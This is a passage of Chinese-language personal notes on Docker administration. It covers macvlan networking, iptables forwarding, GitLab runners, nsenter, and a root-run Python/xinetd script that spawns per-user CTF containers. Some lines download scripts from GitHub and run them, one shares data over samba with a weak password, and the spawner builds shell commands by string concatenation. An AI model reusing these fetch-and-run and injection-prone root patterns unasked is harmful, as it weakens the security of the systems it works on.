https\")，结果导致了下文第三点的折腾\r\n\r\n最终选择的方案是在nginx反向代理的时候替换文本内容，使用sub_filter这个模块进行文本内容替换\r\n\r\n遇到了问题，这个sub_filter不起作用，(Google关键词 \"sub_filter not working\")原因是容器返回的内容启用了gzip，无法替换，方法是加入一行配置禁止容器的Apache使用gzip: proxy_set_header Accept-Encoding \"\";\r\n\r\n参考：\r\n\r\nhttp://stackoverflow.com/questions/31893211/http-sub-module-sub-filter-of-nginx-and-reverse-proxy-not-working\r\n\r\n3. 由于在后台修改了Wordpress Address和Site Address改为https的链接，导致后台无法打开，重定向死循环\r\n\r\n解决方案是进入mysql容器手动修改，把进行的修改改回去\r\n\r\n问题在于我也并不知道改了啥，在终端mysql`select * from wp_options;`有些行太长导致关键内容刷屏而过，不方便查看表\r\n\r\n我的方法是先`mysqldump -p密码 wordpress >test.sql`，再用nano打开test.sql，用Ctrl+W搜索https（Google关键词\"nano search\"），把对应的地方找到改回http，保存后用`mysql -p密码 wordpress < test.sql`导入数据库 完事~\r\n\r\n----\r\n\r\n## Dockerfile 中的 apt-get\r\n\r\n为了让 apt-get 顺利静默执行，需要配置环境变量防止交互：\r\n\r\n```\r\nDEBIAN_FRONTEND=noninteractive apt-get install -y ...\r\n```\r\n\r\n----\r\n\r\n## 让Docker容器得到内网IP\r\n\r\n这里的内网不是只有主机可以访问的容器Docker内网，而是主机接入的企业内网这种；如果你能直接通过设置IP获得公网IP，当然按照这个方法也能给容器分配公网IP\r\n\r\n注意：此方法Docker容器虽然获得了和主机地位相同的IP，但容器无法使用主机的IP与主机通讯，主机好像也不能访问容器的IP，这是Linux内核为了隔离性和安全性做出的限制\r\n\r\n参考： \r\n\r\n> [不用端口转发给容器分配公网IP地址 ASSIGN PUBLIC IP ADDRESS TO DOCKER CONTAINER WITHOUT PORT BINDING.](https://micropyramid.com/blog/assign-public-ip-address-to-docker-container-without-port-binding/)\r\n\r\n> [Macvlan and IPvlan basics](https://sreeninet.wordpress.com/2016/05/29/macvlan-and-ipvlan/)\r\n\r\n> [Docker Networking Tip – Macvlan driver](https://sreeninet.wordpress.com/2017/08/05/docker-networking-tip-macvlan-driver/)\r\n\r\n> [PPT Docker Networking - Common Issues and Troubleshooting Techniques](https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques)\r\n\r\n做法也很简单，首先创建一个Macvlan类型的docker网络，然后在创建容器的时候加入这个网络并指定IP/不指定则自动分配\r\n\r\n例子：主机（网卡eth0）的IP为10.1.1.2，网关为10.1.1.1，主机所处的IP段是10.1.1.1/24，在该网段内主机可以任意获得IP，我们希望容器分配在10.1.1.65~10.1.1.126之间 （即 10.1.1.64/26）\r\n\r\n附： [这是一个输入Network 10.1.1.64/26转换为HostMin 10.1.1.65~ HostMax 10.1.1.126的计算器](http://jodies.de/ipcalc?host=10.1.1.64&mask1=26&mask2=)\r\n\r\n\r\n```\r\ndocker network create -d macvlan -o macvlan_mode=bridge -o parent=eth0 --subnet=10.1.1.0/24 --ip-range=10.1.1.64/26 --gateway=10.1.1.1 macvlan_network\r\n\r\ndocker run --net=macvlan_network --ip=10.1.1.100 -d nginx\r\n```\r\n\r\n现在你可以访问 `http://10.1.1.100` 来看到nginx的欢迎页面了，你需要在内网另一台机器上访问（我的发现是主机和这样分配的容器是不互通的）\r\n\r\n!!! warning \"可能的IP冲突\"\r\n\r\n    启动容器时可以不指定ip让docker自动分配，警告：如果没有配置ip-range参数，有可能被分配的恰好是主机本身的IP，这种情况将导致主机丢失IP无法联网！\r\n\r\n    万一发生这种虚拟机把主机的IP抢占的情况，在没有物理控制方法下不可轻易使用ifconfig修改主机IP，因为一旦使用ifconfig主机的route将被清空、当前主机的其他IP也会丢失，你就丢失远程访问的可能了（也许你可以写一个脚本自动恢复route稳妥一点）；但神奇的是即使主机route已经丢失，按照上述macvlan开出来的Docker容器仍然在线（也可以理解——容器的route并没有受到影响，类似于Virtualbox的桥接网卡方式）\r\n\r\n### 获取macvlan容器的IP\r\n\r\n@TAG getip\r\n\r\n```\r\n# clean version\r\ndocker inspect --format \"{{.NetworkSettings.Networks.macvlan网络名称.IPAddress}}\" 容器名称\r\n\r\n# dirty but quick version\r\ndocker inspect 容器名称 | grep IP\r\n```\r\n\r\n### macvlan查看已经分配的IP\r\n\r\n由于主机和容器不能互通，所以主机如何得知目前已经分配的IP列表呢？用docker network inspect咯，然后用python处理一下输出格式\r\n\r\n下面这个命令列出了容器IP和容器名称：\r\n\r\n```\r\ndocker network inspect macvlan_bridge --format \"{{range .Containers}}{{.IPv4Address}}@{{.Name}},,,{{end}}\" | python3 -c 'print(input().replace(\"/24@\",\"\\t\").replace(\",,,\",\"\\n\"),end=\"\")'|sort\r\n```\r\n\r\n如果只需要IP列表：\r\n\r\n```\r\ndocker network inspect macvlan_bridge --format \"{{range .Containers}}{{.IPv4Address}},{{end}}\" | python3 -c 'print(input().replace(\"/24,\",\"\\n\"),end=\"\")'|sort\r\n```\r\n\r\n### 主机访问macvlan的容器\r\n\r\n由于内核限制并不支持host直接使用上述指定的ip访问容器，而docker network connect让容器再加入一个网络又会改变容器的默认路由，但我就是想让主机能访问到容器，咋办哩？\r\n\r\n参考：http://blog.oddbit.com/2018/03/12/using-docker-macvlan-networks/\r\n\r\n想访问的容器IP为10.1.1.66，这种方法需要让主机再获得一个IP，例如10.1.1.3。注意这种配置是不持久的，重启后丢失\r\n\r\n```\r\nDEVICE_NAME=\"eth0\"\r\nNAME=\"mynet-shim\"\r\nHOST_GETIP=\"10.1.1.3\"\r\nTARGET_IP=\"10.1.1.66\"\r\n\r\nip link add $NAME link $DEVICE_NAME type macvlan  mode bridge\r\nip addr add $HOST_GETIP/32 dev $NAME\r\nip link set $NAME up\r\nip route add $TARGET_IP/32 dev $NAME\r\n```\r\n\r\n----\r\n\r\n## 使用iptables端口转发让Docker容器得到内网IP\r\n\r\n上述基于macvlan的方法容器无法与主机通讯，所以下述基于iptables端口转发的方法更胜一筹\r\n\r\n这种方法基于主机自己去获得一个额外的内网ip后，用iptables端口转发来实现给容器内网IP的效果，容器应用可以得到请求源IP，但容器向外发起的tcp请求还是主机自身的默认IP\r\n\r\n该脚本运行时需要两个参数 第一个为容器名称 第二个为新的IP后缀\r\n\r\n举个例子 主机在10.12.34.x这个内网地址段 且可以随意得到这个地址段的内网IP，现在要给mysql容器10.12.34.202这个IP，运行方式就是`./give_container_ip.sh mysql 202`\r\n\r\n记得修改下面的IPPREFIX和ETH0变量！\r\n\r\n### give_container_ip.sh\r\n\r\n@TAG 端口转发\r\n\r\n```\r\n#!/bin/bash\r\nset -ex\r\nshopt -s expand_aliases\r\n\r\nif [ -z $1 ] && [ -z $2 ]; then\r\n    echo \"Usage: $0 <container name> <new IP suffix>\"\r\n    echo \"Example: $0 u202 202\"\r\n    exit 1\r\nfi\r\n\r\nalias getip=\"docker inspect  --format '{{.NetworkSettings.IPAddress}}' \"\r\n\r\nIPPREFIX=\"10.12.34.\"\r\nETH0=\"eth0\"\r\nsudo ifconfig $ETH0:$2 $IPPREFIX$2 netmask 255.255.255.0 up\r\nsudo iptables -t nat -I PREROUTING -d $IPPREFIX$2 -p tcp -j DNAT --to `getip $1`\r\nsudo iptables -t nat -I POSTROUTING -s `getip $1`/32 -d `getip $1`/32 -p tcp -m tcp -j MASQUERADE\r\n```\r\n\r\n为什么最后用MASQUERADE而不用SNAT呢？因为用SNAT容器的应用就不能得到请求的源IP，在实际应用中是无法接受的；这一条iptables规则是我用`docker run -p`和`iptables-save`得到的\r\n\r\n----\r\n\r\n## 对容器网络流量tcpdump\r\n\r\nLearned from: https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques\r\n\r\n\r\n```\r\ndocker run -ti --net container:<containerid> nicolaka/netshoot tcpdump -i eth0 -n port 80\r\n```\r\n\r\n举个例子，上述启动了nginx容器并分配了内网ip 10.1.1.100，我们来收集80端口的流量，并保存到/tmp/pcapfiles/nginx.pcap文件：\r\n\r\n```\r\ndocker run -ti --net container:f5fc -v /tmp/pcapfiles:/data nicolaka/netshoot tcpdump -i eth0 -n -s0 -w /data/nginx.pcap port 80\r\n```\r\n\r\n[查看tcpdump参数解释explainshell](http://explainshell.com/explain?cmd=tcpdump%20-i%20eth0%20-n%20-s0%20-w%20/data/nginx.pcap%20port%2080)\r\n\r\n----\r\n\r\n## 修改正在运行的容器的重启策略\r\n\r\ndocker run的时候忘了指定restart=always，除了commit后再正确地run一遍之外有没有更加优雅的修改容器参数的方法呢？\r\n\r\n参考： https://stackoverflow.com/questions/26852321/docker-add-a-restart-policy-to-a-container-that-was-already-created\r\n\r\n在1.11版本后有了`docker update`这个命令，可以修改正在运行的容器的参数，如CPU限制、内存限制 和 重启策略\r\n\r\n使目前运行的所有容器都设置为自动重启：\r\n\r\n```\r\ndocker update --restart=always `docker ps -q`\r\n```\r\n\r\n如果要取消这个自动重启，改为`--restart=no`即可\r\n\r\n----\r\n\r\n## 快速部署samba\r\n\r\n@TAG share\r\n\r\n镜像地址：[dperson/samba](https://hub.docker.com/r/dperson/samba/)\r\n\r\n快速分享一个目录/data，用户名`user`密码`badpassword`：\r\n\r\n```\r\ndocker run -d -p 139:139 -p 445:445 --name samba -v /data:/data dperson/samba -u \"user;badpassword\" -s \"data;/data;yes;no;no;all\"\r\n```\r\n\r\n其中-u指定用户名密码；-s参数的格式为：\r\n\r\n给访问者看的分享名称;物理位置;是否列出;未登录可否访问;允许访问的用户(all表示所有用户)\r\n\r\n----\r\n\r\n## 按需分配容器 过期自动销毁\r\n\r\n@TAG ctf xinetd\r\n\r\n有些题目需要给每个人单独的容器，为了节约资源还需要设置一个时间，过期后自动删除容器\r\n\r\n为了防止滥用还要引入Proof Of Work，回答正确后才分配容器\r\n\r\n!!! warning\r\n    该代码直接用的docker命令来创建容器，且需要root权限，注意使用上的安全风险\r\n\r\n代码如下：`utils.py`\r\n\r\n```python\r\n#/usr/bin/python3\r\n#coding:utf-8\r\nimport subprocess\r\nimport time\r\nimport string\r\nimport os\r\nimport hashlib\r\nimport random\r\nfrom random import randint\r\n\r\n# 限时设定\r\ndef clock(timeout=5):\r\n    import signal\r\n    def signal_handler(signum,data):\r\n        if signum == signal.SIGALRM:\r\n            print(\"Time is up!\")\r\n            exit()\r\n    signal.signal(signal.SIGALRM, signal_handler)\r\n    signal.alarm(int(timeout))\r\n\r\n# 生成随机字符串\r\ndef randomstring(len=5):\r\n    return ''.join(random.sample(string.ascii_letters,len))\r\n\r\n# 计算md5\r\ndef md5(src):\r\n    return hashlib.md5(bytes(src,encoding='utf-8')).hexdigest()\r\n\r\n# 显示一个随机字符串，要求用户计算其md5\r\ndef pow_calcmd5():\r\n    question = randomstring()\r\n    answer = md5(question)\r\n    print(\"Please calculate md5(%s)=\"%question,end='')\r\n    if input()!=answer:\r\n        exit()\r\n\r\n# 显示一个随机字符串，要求用户输入另一个字符串满足md5以difficulty个0开头\r\ndef pow_realmd5(difficulty=4):\r\n    question = randomstring()\r\n    print(\"[Proof Of Work]\")\r\n    print(\"Please calculate s, make that \\n    md5(\\\"%s\\\"+s).startswith('%s')\"%(question,'0'*difficulty))\r\n    print(\"Input your s:\",end='')\r\n    s = input()\r\n    if not md5(question+s).startswith('0'*difficulty):\r\n        exit()\r\n\r\n# 从镜像启动容器\r\ndef start_container(image, port, paramstring):\r\n    \"\"\"\r\n    image:镜像名称\r\n    port: 需要映射的端口\r\n    paramstring: 额外的参数设置字符串 如\"-v /d/blabla:/data\"\r\n    \r\n    返回(容器ID, 映射得到的端口)\r\n    \"\"\"\r\n    container = subprocess.check_output(\"docker run -d -p :\"+str(port)+\" \"+paramstring+\" \"+image+\" /run.sh\",shell=True).decode().replace(\"\\n\",\"\")\r\n    inspect = subprocess.check_output(\"docker inspect --format '{{.NetworkSettings.Ports}}' %s\"%container,shell=True).decode().replace(\"\\n\",\"\")\r\n    openport = inspect.split(\"{\")[1].split()[1].split(\"}\")[0]\r\n    return (container, openport)\r\n\r\n# 计划在minutes分钟后销毁容器container 需要atd服务\r\ndef plan_stop_container(container, minutes):\r\n    PATH = os.getcwd()\r\n    minutes = str(minutes)\r\n    filename = \"%s_%d\"%(time.strftime(\"%Y_%m_%d_%H_%M_%S\"),randint(0,666))\r\n    open(PATH+\"/\"+filename,\"w\").write(\"docker kill %s && docker rm %s && rm %s/%s\"%(container,container,PATH,filename))\r\n    subprocess.check_output(\"at now + %s minutes -f %s 2>/dev/null\"%(minutes,filename),shell=True)\r\n\r\n# 生成一个runner的二进制程序，xinetd并不支持直接运行python\r\nif __name__ == \"__main__\":\r\n    print(\"[*] writing to runner.c\")\r\n    path = os.getcwd()\r\n    open(\"runner.c\",\"w\").write(\"\"\"#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\nint main(){\r\n   chdir(\"%s\");\r\n   system(\"python3 %s/runner.py\");\r\n   return 0;\r\n}\r\n\"\"\"%(path, path))\r\n    print(\"[*] compile runner.c to runner\")\r\n    os.system(\"gcc runner.c -o runner\")\r\n\r\n```\r\n\r\n用到的xinetd配置：`runner.conf`，注意保存的时候不能有\\r `:set ff=unix`\r\n\r\n```\r\nservice 题目名称\r\n{\r\n    socket_type = stream\r\n    protocol    = tcp\r\n    wait        = no\r\n    user        = root\r\n    bind        = 0.0.0.0\r\n    server      = /绝对路径/runner\r\n    type        = UNLISTED\r\n    port        = 端口号\r\n    disable = no\r\n}\r\n```\r\n\r\n----\r\n\r\n## 在容器A中使用别名访问容器B\r\n\r\n容器A是web应用，需要访问redis的容器B，如果用docker inspect拿到现在容器B的IP写入到配置，一旦docker重启这个容器IP就会发生变化\r\n\r\n更好的方式是使用docker的自定义网络：创建网络，把redis加入网络，把app加入网络\r\n\r\n```\r\ndocker network create useredis\r\ndocker network connect --alias redis useredis redis\r\ndocker network connect --alias app useredis app\r\n```\r\n\r\n在加入网络的时候指定--alias即可，网络中的其他容器就能通过这个alias访问到，这样操作后app容器里面就能ping redis了\r\n\r\n----\r\n\r\n## 修复Docker更新到18.02后部分容器无法start的问题\r\n\r\napt说可以更新，于是就更新了，然而却悲催地发现部分容器无法启动，报错信息：\r\n\r\n```\r\ndocker start <container_name> returns \"container <hash> already exists\"\r\n```\r\n\r\nGoogle找到了相关issue在[这里](https://github.com/moby/moby/issues/36145)\r\n\r\n不删容器重建、不回滚Docker的解决方案为：\r\n\r\n```\r\nsudo docker-containerd-ctr --namespace moby --address /run/docker/containerd/docker-containerd.sock c rm `docker inspect --format '{{.Id}}' 无法启动的容器名称`\r\n```\r\n\r\n注意需要输入的是那个很长的容器id，所以先用docker inspect获取其长Id\r\n\r\n如果docker-containerd-ctr 不存在，也许你使用的是Docker for mac，需要这么操作：\r\n\r\n```\r\ndocker run -it --rm -v /:/host alpine /host/usr/local/bin/docker-containerd-ctr  --namespace moby --address /host/run/docker/containerd/docker-containerd.sock c rm 出错的容器id\r\n```\r\n\r\n----\r\n\r\n## 解决docker exec -it进入容器屏幕大小不对的问题\r\n\r\n发现docker exec -it进入容器的bash后tty的大小不对 只有80x24，参考这个 https://github.com/moby/moby/issues/35407\r\n\r\n解决方案：在进入容器时配置环境变量COLUMNS和LINES为正确值即可，为了便于操作与记忆，写~/.bashrc咯：\r\n\r\n```\r\nfunction din(){\r\n    docker exec -ti --env COLUMNS=`tput cols` --env LINES=`tput lines` $1 /bin/bash\r\n}\r\nalias din=din\r\n```\r\n\r\n使用的时候只需要`din 容器名称`就能进入容器bash啦，这样进入容器vim也能全屏幕显示了\r\n\r\n----\r\n\r\n## 不使用docker pull也能下载到镜像\r\n\r\n!!! warning \"\"\r\n    该脚本存在问题，下载到的镜像层可能无法导入，仍待研究\r\n\r\ngithub上官方有下载脚本： https://github.com/moby/moby/blob/master/contrib/download-frozen-image-v2.sh\r\n\r\n使用的时候第一个参数是目录名称，第二个是镜像名称:latest，其中:tag是必须要写的\r\n\r\n下述命令下载脚本，替换为从阿里云下载，最后打包成golang.tar （由于下载到的layer的tar包已经是gzip压缩过的 没必要再7zip压缩）\r\n\r\n```\r\nwget https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh\r\nsed -i 's/registry-1.docker.io/h0kyslzs.mirror.aliyuncs.com/g' download-frozen-image-v2.sh\r\nsed -i 's/token=\"$(/token=\"\" #/g' download-frozen-image-v2.sh\r\nchmod +x download-frozen-image-v2.sh\r\n./download-frozen-image-v2.sh /tmp/golang google/golang:latest\r\ntar -vf golang.tar -cC '/tmp/golang' . \r\n```\r\n\r\n然后就可以传输golang.tar，导入方法很简单\r\n\r\n```\r\ndocker load < golang.tar\r\n```\r\n\r\n----\r\n\r\n## 启动另一个Docker Daemon进程\r\n\r\n有时候需要进行build操作，发现根目录剩余空间不够了，但另外一块硬盘还有空间，整体迁移/var/lib/docker或合并两个硬盘为lvm又不现实，这时就可以开启一个新的Docker Daemon，把Docker使用的目录设置为另一块硬盘\r\n\r\n参考：http://blog.alpaca.ai/run-multiple-docker-daemons-with-net-container/\r\n\r\ndocker工作目录假设为/home/cy/docker\r\n\r\n第一次执行：\r\n\r\n```\r\nOFFSET=0\r\nu=\"cy\"\r\nBRIDGE_NAME=br_${u}\r\nDOCKER_ROOT=/home/${u}/docker\r\nmkdir -p ${DOCKER_ROOT}\r\nbrctl addbr ${BRIDGE_NAME}\r\nSUBNET=$(expr 52 + ${OFFSET})\r\nip addr add 172.18.${SUBNET}.1/24 dev ${BRIDGE_NAME}\r\nip link set dev ${BRIDGE_NAME} up\r\niptables -t nat -A POSTROUTING -j MASQUERADE -s 172.18.${SUBNET}.0/24 -d 0.0.0.0/0\r\n```\r\n\r\n运行dockerd执行：\r\n\r\n```\r\nu=\"cy\"\r\nBRIDGE_NAME=br_${u}\r\nDOCKER_ROOT=/home/${u}/docker\r\n      dockerd -D \\\r\n        -g ${DOCKER_ROOT}/g \\\r\n        --exec-root=${DOCKER_ROOT}/e \\\r\n        -b ${BRIDGE_NAME} \\\r\n        --dns=8.8.8.8 \\\r\n        --iptables=true \\\r\n        -H unix://${DOCKER_ROOT}/docker.sock \\\r\n        -p ${DOCKER_ROOT}/docker.pid\r\n```\r\n\r\n----\r\n\r\n## 配置使用Docker版本的Gitlab CI\r\n\r\n参考文档：\r\n\r\n- 官方教程 https://docs.gitlab.com/runner/\r\n- 高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html\r\n\r\n人家这东西本质上是一个docker容器，但是把主机的docker sock传入到容器中，所以容器内可以创建容器\r\n\r\n我这里的教程着重解决两个问题：使用自定义的镜像，设置DNS\r\n\r\n### 第一步当然是pull人家的runner镜像咯\r\n\r\n```\r\ndocker pull gitlab/gitlab-runner\r\n```\r\n\r\n### 第二步 获取CI连接时需要的token\r\n\r\n在管理员界面 Overview下Runners点开即可看到 \r\n\r\n网址： /admin/runners\r\n\r\n### 第三步 注册以生成初始的配置信息\r\n\r\n参考https://docs.gitlab.com/runner/register/index.html#docker\r\n\r\n假设容器配置文件保存在/dockerfiles/gitlabrunner中，其中docker-image是默认跑任务的镜像\r\n\r\n```\r\ndocker run --rm -t -i -v /dockerfiles/gitlabrunner:/etc/gitlab-runner --dns 10.0.0.1 gitlab/gitlab-runner  register  --non-interactive \\\r\n  --url \"https://gitlab.com/\" \\\r\n  --registration-token \"上一步获得的token\" \\\r\n  --executor \"docker\" \\\r\n  --docker-image myubuntu:latest \\\r\n  --description \"docker-runner\" \\\r\n  --run-untagged \\\r\n  --locked=\"false\"\r\n```\r\n\r\n### 第四步 修改配置文件\r\n\r\n参考高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html\r\n和 https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work\r\n\r\n```\r\ncd /dockerfiles/gitlabrunner #你的配置文件目录\r\nsudo vim config.yml\r\n```\r\n\r\n为了跑本地已经存在的镜像（默认为always表示只能跑dockerhub上的），在[runners.docker]中需要添加：\r\n\r\n```\r\npull_policy = \"never\"\r\n```\r\n\r\n或者这里你也可以使用\"if-not-present\" 不存在就pull\r\n\r\n另外 如果需要修改容器DNS，也添加进去即可\r\n\r\n```\r\ndns = [\"10.0.0.1\"]\r\n```\r\n\r\n### 第五步 启动runner容器\r\n\r\n如果需要改dns，这里也别忘记写上\r\n\r\n```\r\ndocker run -d --name gitlab-runner --restart always \\\r\n  -v /dockerfiles/gitlabrunner:/etc/gitlab-runner \\\r\n  -v /var/run/docker.sock:/var/run/docker.sock \\\r\n  --dns 10.0.0.1 \\\r\n  gitlab/gitlab-runner:latest\r\n```\r\n\r\n### 第六步 创建一个新的repo来测试一下吧\r\n\r\n新建`.gitlab-ci.yml`文件，这里使用自己编译的myubuntu镜像\r\n\r\n```\r\nimage: myubuntu:latest\r\ntest:app:\r\n  script:\r\n  - echo ok\r\n  - curl ip.cn\r\n```\r\n\r\n然后在gitlab的仓库页面 最新的一次commit message右侧就有CI成功与否状态的图标 点进去看详细日志咯\r\n\r\n----\r\n\r\n## 为已经存在的容器创建临时端口映射 socat\r\n\r\n@TAG 端口转发\r\n\r\n出于学习目的，想快速地建立一下临时的Docker容器端口映射\r\n\r\n用socat咯：\r\n\r\n```\r\nsocat TCP4-LISTEN:9300,fork TCP4:172.17.0.3:9300\r\n```\r\n\r\n如果没有socat，可以：\r\n\r\n```\r\ndocker run -ti --rm --net host bobrik/socat TCP4-LISTEN:9300 TCP4:172.17.0.3:9300\r\n```\r\n\r\n----\r\n\r\n## 查看所有容器内存占用 并排序\r\n\r\n`docker stats`就能看到实时更新的结果，但并没有提供排序功能\r\n\r\n```\r\ndocker stats --no-stream|sort -h -r -k 4,4\r\n```\r\n\r\n排序列对应关系如下：\r\n\r\n|列号|列名|\r\n|---|---|\r\n|3|CPU|\r\n|4|内存|\r\n|8|网络流入|\r\n|10|网络流出|\r\n|11|文件写入|\r\n|13|文件读取|\r\n|14|容器内线程数量(PID数)|\r\n\r\n----\r\n\r\n## 运行中的容器添加目录挂载\r\n\r\nDocker自身只允许在创建容器的时候指定-v进行目录挂载，怎么在不停止容器的情况下增加挂载呢？\r\n\r\n!!! warning \"\"\r\n    注意此方法在容器重启后即失效，需要重新挂载\r\n\r\n参考：https://medium.com/kokster/mount-volumes-into-a-running-container-65a967bee3b5\r\n\r\n方法是把块设备挂载到容器中，然后可以使用bind mount\r\n\r\n假设容器名称为app_container，需要挂载/dev/sdb1这个设备，命令如下：\r\n\r\nStep1: 首先要查看设备id以便在容器中mknod创建设备，然后使用nsenter使用主机的权限挂载设备\r\n\r\nStep2: 现在就可以在容器中使用/tmpmount读取到设备了，但如果我们只需要挂载其中一个文件夹 例如设备的data文件夹挂载到容器的/newdata，还可以继续执行：\r\n\r\nStep3: 最后清理掉临时挂载的/tmpmount 不会影响bind mount挂载出来的/newdata\r\n\r\n```\r\nCONTAINER_NAME=\"app_container\"\r\nDEVICE_NAME=\"/dev/sdb1\"\r\nMOUNT_SRC=\"data\"\r\nMOUNT_TARGET=\"/newdata\"\r\n\r\n# Step1\r\nx=$(grep $DEVICE_NAME /proc/self/mountinfo|cut -d ' ' -f 3)\r\ndocker exec -it -u root $CONTAINER_NAME sh -c \"[ -b $DEVICE_NAME ] || mknod -m 0600 $DEVICE_NAME b ${x/:/ }\"\r\nsudo nsenter --target \"$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)\" --mount --uts --ipc --net --pid --  sh -c \"mkdir -p /tmpmount;mount $DEVICE_NAME /tmpmount\"\r\n\r\n# Step2\r\nsudo nsenter --target \"$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)\" --mount --uts --ipc --net --pid -- sh -c \"mkdir -p $MOUNT_TARGET; mount -o bind /tmpmount/$MOUNT_SRC $MOUNT_TARGET\"\r\n\r\n# Step3\r\nsudo nsenter --target \"$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)\" --mount --uts --ipc --net --pid -- sh -c \"umount /tmpmount\"\r\n```\r\n\r\n----\r\n\r\n## Docker使用32位镜像\r\n\r\n例如ubuntu16.04.5 32位镜像 从这里下载i386后缀的`ubuntu-base-16.04.5-base-i386.tar.gz`：\r\n\r\nhttp://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release/\r\n\r\n下载了之后直接交给docker导入即可：[docker import 文档](https://docs.docker.com/engine/reference/commandline/import/#examples)\r\n\r\n```\r\ncat ubuntu-base-16.04.5-base-i386.tar.gz|docker import - ubuntu1604_32bit\r\n```\r\n----\r\n\r\n## 找到/var/lib/docker中容器的数据存储目录\r\n\r\n使用[docker-backup](https://github.com/vincepare/docker-backup):\r\n\r\n```\r\ncurl -Lo /usr/local/bin/docker-backup https://raw.githubusercontent.com/vincepare/docker-backup/master/docker-backup.sh && chmod +x /usr/local/bin/docker-backup\r\n\r\ndocker-backup ls -w container\r\n```\r\n\r\n举个例子 Apache容器由于/tmp/httpd_lua_shm.1的存在跑不起来，试试直接删除容器内的这个文件\r\n\r\n```\r\nfor i in `d ps -a|grep Exit|grep minutes|awk '{print $1}'`; do rm `docker-backup ls -w $i`/tmp/httpd_lua_shm.1; d start $i ; done\r\n```\r\n\r\n------\r\n\r\n## 搬运服务器后网段变化 直接修改Docker底层数据库和配置文件修复macvlan网络\r\n\r\n需求：服务器机房搬迁，从10.214.10.x变为10.214.160.x，配置的macvlan容器就不能访问了\r\n\r\nDocker没有提供修改网络配置的方法，我们就直接改Docker的数据库和配置文件呗\r\n\r\n不这样直接改底层文件也是可以的，需要先disconnect旧的macvlan所有容器，然后删掉重建这个network，再一个个加回来\r\n\r\n网络配置的数据库在`/var/lib/docker/network/files/local-kv.db`，本质上是boltdb，需要使用docker的[libkv](https://github.com/docker/libkv)来进行访问\r\n\r\n注意到ip前缀的长度发生了变化，直接sed是不行的，会损坏数据库（如果长度没变可以直接sed），操作前记得备份\r\n\r\n参考 https://blog.qiqitori.com/?p=463\r\n\r\n加以修改，需要在`docker pull golang:1.8`中编译运行\r\n\r\n```\r\npackage main\r\n\r\nimport (\r\n    \"time\"\r\n    \"log\"\r\n    \"strings\"\r\n    \"github.com/docker/libkv\"\r\n    \"github.com/docker/libkv/store\"\r\n    \"github.com/docker/libkv/store/boltdb\"\r\n)\r\n\r\nfunc init() {\r\n    // Register boltdb store to libkv\r\n    boltdb.Register()\r\n}\r\n\r\nfunc main() {\r\n    client := \"./local-kv.db\" // ./ appears to be necessary\r\n\r\n    // Initialize a new store\r\n    kv, err := libkv.NewStore(\r\n        store.BOLTDB, // or \"boltdb\"\r\n        []string{client},\r\n        &store.Config{\r\n            Bucket: \"libnetwork\",\r\n            ConnectionTimeout: 10*time.Second,\r\n        },\r\n    )\r\n    if err != nil {\r\n        log.Fatalf(\"Cannot create store: %v\", err)\r\n    }\r\n\r\n    pair, err := kv.List(\"docker/network\")\r\n    for _, p := range pair {\r\n        println(\"key:\", string(p.Key))\r\n        val := strings.Replace(string(p.Value), \"10.214.10.\", \"10.214.160.\", -1)\r\n        println(\"value:\", val)\r\n        err = kv.Put(p.Key, []byte(val), nil)\r\n    }\r\n}\r\n```\r\n\r\n其中需要注意golang1.8的strings没有ReplaceAll方法；string转bytes数组用`[]byte(...)`即可；`println`不是fmt库的，是往stderr输出的\r\n\r\n除了网络数据库还需要修改容器的.json配置文件：`/var/lib/docker/containers/*/*.json`\r\n\r\n```\r\nsed -i 's/10.214.10./10.214.160./g' /var/lib/docker/containers/*/*.json\r\n```\r\n\r\n然后就能启动docker了，如果有容器的当前ip已经被其他设备占用，可以通过脱离网络再加入来修改ip\r\n\r\n```\r\ndocker network disconnect macvlan_name container_name\r\ndocker network connect macvlan_name container_name --ip 新的ip\r\n```\r\n\r\n如果新的ip还是ping不了，试试重启容器\r\n\r\n## 获取2个月前退出的容器列表，以空格分隔\r\n\r\n```\r\ndocker ps -a --format '{{.Names}} {{.Status}}'|grep \"2 month\"|awk '{print $1}'|tr '\\r\\n' ' '\r\n```\r\n\r\n## 容器内没有ping, ip？直接nsenter进去看看\r\n\r\n```\r\nnetin(){\r\n    nsenter --target `docker inspect --format '{{.State.Pid}}' $1`  --net --pid /bin/bash\r\n}\r\n```\r\n\r\n这是进入docker容器的namespace，但只切换网络和/proc，文件系统等还是使用主机的\r\n\r\n进入后bash似乎没变，这时可以ps看看进程列表变了就说明在容器里面了，然后可以愉快地ifconfig和ping了\r\n\r\n也可以使用ip命令指定netns的方式`ip netns exec 名称 命令`\r\n\r\n```\r\n#!/bin/bash\r\nNAME=\"container name\"\r\nmkdir -p /var/run/netns\r\nID=`docker inspect --format='{{ .State.Pid }}' $NAME`\r\nsudo ln -sf \"/proc/$ID/ns/net\" /var/run/netns/$NAME\r\nexec sudo ip netns exec $NAME \"$@\"\r\n```\r\n\r\n## 为macvlan的容器配置只允许IP段访问\r\n\r\n将容器暴露在整个内网还是不够安全，不如使用iptables只允许特定IP段访问这个容器的IP\r\n\r\n按上述操作之后，假设容器名称为name，那么我们可以先建立一个alias来快速iptables:\r\n\r\n参考： https://unix.stackexchange.com/questions/11851/iptables-allow-certain-ips-and-block-all-other-connection\r\n\r\n```\r\nalias i=\"sudo ip netns exec name iptables\"\r\ni -P FORWARD DROP # we aren't a router\r\ni -A INPUT -m state --state INVALID -j DROP\r\ni -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT\r\ni -A INPUT -i lo -j ACCEPT\r\ni -A INPUT -s 10.0.0.1/24 -j ACCEPT\r\ni -A INPUT -s 172.19.0.1/24 -j ACCEPT\r\ni -P INPUT DROP # Drop everything we don't accept\r\n```\r\n\r\n效果就是只有内网10.0.0.1-10.0.0.254的ip才能访问这个容器的IP，其他来源都不能ping通这个容器\r\n\r\n下面的bash脚本会自动对容器的所有IP段允许访问，并拒绝其他访问：\r\n\r\n其中的docker 